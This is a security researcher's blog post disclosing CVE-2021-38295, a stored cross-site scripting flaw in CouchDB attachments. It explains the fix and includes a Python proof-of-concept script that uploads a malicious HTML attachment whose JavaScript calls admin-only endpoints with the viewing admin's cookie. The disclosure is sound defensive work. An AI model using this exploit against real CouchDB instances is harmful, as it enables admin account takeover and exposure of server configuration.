Introduction
In this blog post we’re going to take a look at the recent CouchDB vulnerability, CVE-2021-38295, which I was credited with discovering. You can read a bit about it here on the CouchDB security announcement!
I found this vulnerability during a penetration test in which I came across a CouchDB instance that was in use. Because of the open source nature of CouchDB I naturally decided that I would pull down the latest version of the CouchDB official Docker image and begin digging around. While I was fixated on the Fauxton UI, I noticed something that caught my eye. That something was an issue related to the content-type of document attachments in CouchDB.
For those that might not be familiar with Apache CouchDB, it’s an open source NoSQL document database. What that means is that the database can store unstructured data in the form of JSON. This sort of paradigm is really useful when your data model isn’t highly relational in nature. CouchDB’s core primitive is the concept of documents. Which are the data held within a database. An example could be a monster and it’s stats for your sick new multiplayer rogue-lite dungeon crawler that you’re building (one day I’ll finish that side project…). Take a look at this example below. We’re describing a monster for our theoretical game in a very free form manner as a document within a database.
The Rock Golem was created in my own image
Documents in CouchDB can also have attachments associated with them. These are arbitrary files that can be uploaded and stored alongside the given document. Going with our rogue-lite example, a sensible attachment might be some sort of sprite representing the monster as seen below.
Like I said, it looks just like me.
Alright, I think that’s enough about what CouchDB generally is, I’m not going to go into explaining it’s query language, design documents, and other concepts since this is a post about sick haxx not sick data design :) So, let's jump into the hack details!
The Vulnerability
So, I’m sure you might already see where this is going. The hints were there; content-type, attachments, rock-golems… No? Fine, I’ll explain some more. See in CouchDB, when you upload an attachment to a document, it has it’s content-type associated with it via the Content-Type HTTP header. When uploaded via an API call you can simply specify this header yourself, when uploaded through Fauxton, the header is automatically set for you. Just take a look at the image below.
See, Fauxton helpfully set the correct content-type for me!
Now that in and of itself is not really a problem. It makes sense for this information to be kept, since attachments are meant to be downloaded or viewed, and the viewer needs to know how to handle the content. Hence the Content-Type probably needs to be sent back when anyone downloads or views the attachment.
As you can see when we fetch the Rock Golem’s sprite the CouchDB server returns the content-type that it was uploaded with, again which is necessary and makes sense for this kind of functionality. But do you see the vulnerability here? If not that’s okay because I’m about to show it.
What if we were to upload some HTML, and what if that HTML were to contain some really evil JavaScript code. Well, we might just have a way to host same-origin content under whatever domain the CouchDB Fauxton UI happens to be using >:) And in fact that’s exactly the case, here take a look:
First, we logon as the non-admin user, nevil, which has access to the monsters database. Then we upload the Rock Golem’s personal HTML web page that totally isn’t trying to do something evil ;>. And from there we view the attachment and boom!
Nevil is the Rock Golem’s name, not to be confused with Nevil the Devil.
Nice, so now we have JavaScript execution that is hosted under a URL which can easily be sent to any other user of the CouchDB instance that also has permissions to access that particular database. Who has permission to view any ole database that they like in CouchDB? Why none other than the admin users of course. So, let’s modify the evil HTML file a bit to try to hit a CouchDB API endpoint that only admin users should be able to access or modify. It should look something like this.
Let’s see if it works by uploading the new version of the attachment and then logging in as an admin user and going to the URL of the attachment.
And there we have it! The malicious JavaScript in the page was able to successfully hit the API as an admin because by default CouchDB accepts cookie based authentication. This cookie is set when logging into Fauxton. Additionally, because the malicious content is hosted under the same domain as the instance itself the payload worked despite this particular setup not having CORS turned on for the API.
So, what is the real reason that this worked? If it makes sense for the content-type to be stored and returned along with the attachments, then what is the fix? Well, you could do what the smart folks over on the CouchDB team did and add a Content-Security Policy sandbox. Which effectively still allows HTML content to be viewed in the browser, but will not allow JavaScript to execute by default. This way the malicious JavaScript cannot do it’s evil job.
If you want to play with this yourself the easiest way to do so is to use Docker to pull version 3.1.1 of the CouchDB official image or build it yourself from the Dockerfile. Once you’ve done that you can spin up an instance with an admin user set with the following command.
docker run -e COUCHDB_USER=admin -e COUCHDB_PASSWORD=password -it -p 5984:5984 couchdb --name couchdb_cve_xxxx
Once that is running you can go in and create a test database, create a user that can only access said test database and then you can leverage this handy little Python3 Proof of Concept (PoC) script I wrote to create a document and malicious attachment as the non-admin user. The PoC will spit out the URL to the attachment that you can then visit as an admin user to effectively take over the account! You can find the PoC code here.
from urllib.request import Request, urlopen
import base64
import sys
import uuid
import json
if len(sys.argv) < 4:
print('Usage: cve-xxxx <host> <db> <user:pass>')
sys.exit(1)
url = "http://" + sys.argv[1]
db = sys.argv[2]
creds = sys.argv[3]
encoded_creds = base64.b64encode(creds.encode('ascii'))
# create a document to host the payload if one wasn't specified
doc_id = uuid.uuid4()
document_payload = {
"_id":f"evildoc-{doc_id}",
"foo":"bar"
}
print("Creating document to host malicious attachment...")
req = Request(f"{url}/{db}/evildoc{doc_id}", data=json.dumps(document_payload).encode('utf-8'), method='PUT')
req.add_header('Authorization', 'Basic %s' % encoded_creds.decode("ascii"))
req.add_header('Content-Type', 'application/json')
res = urlopen(req)
json = res.read().decode()
print(f"Created {url}/{db}/evildoc{doc_id}")
payload = f"""
<script>
const configUrl = "{url}/_node/_local/_config"
fetch(configUrl)
.then(res => res.json())
.then(data => document.querySelector("#config_info").innerHTML = `<pre>$</pre>`)
</script>
<div id="config_info">
fetching node config info that definitely only admins should be able to access...
</div>
"""
print("Uploading malicious attachment...")
req = Request(f"{url}/{db}/evilattachment-{uuid.uuid4()}/attachment.html", data=payload.encode('utf-8'), headers={"Content-Type": "text/html"}, method='PUT')
req.add_header('Authorization', 'Basic %s' % encoded_creds.decode("ascii"))
res = urlopen(req)
json = res.read().decode()
headers = res.getheaders()
evil_doc_url = res.info()["location"]
print("Attachment URL: ")
print(evil_doc_url)
Conclusion
So, we were able to take over CouchDB admin accounts (or any account really) using same-origin HTML attachments with some malicious JavaScript embedded. I think that the key takeaway here is that it’s important to consider the implications that allowing users to upload arbitrary content can have. There are controls to mitigate the potential pitfalls of this, in this case one such control being the Content-Disposition header. The approach that was taken by the Apache CouchDB team to fix the flaw is also an excellent solution to the issue. They utilized the Content Security Policy sandbox directive when serving attachments to still allow for the rendering of HTML content, but to prevent the execution of JavaScript. A rather clever solution in my opinion. This solution is also enabled by default in the recent 3.2.0 release of CouchDB!
Before I close, I’d like to give a big thanks to the folks over at Apache CouchDB PMC for helping to get this flaw fixed quickly and for crediting me and Secure Ideas in the announcement!
P.S. If you’re interested in Information Security training check out our catalog of training, or in need of information security consulting feel free to contact me at cory@secureideas.com. If you want to see some cool game development content and the occasional hacker stuff consider following me on twitter @84d93r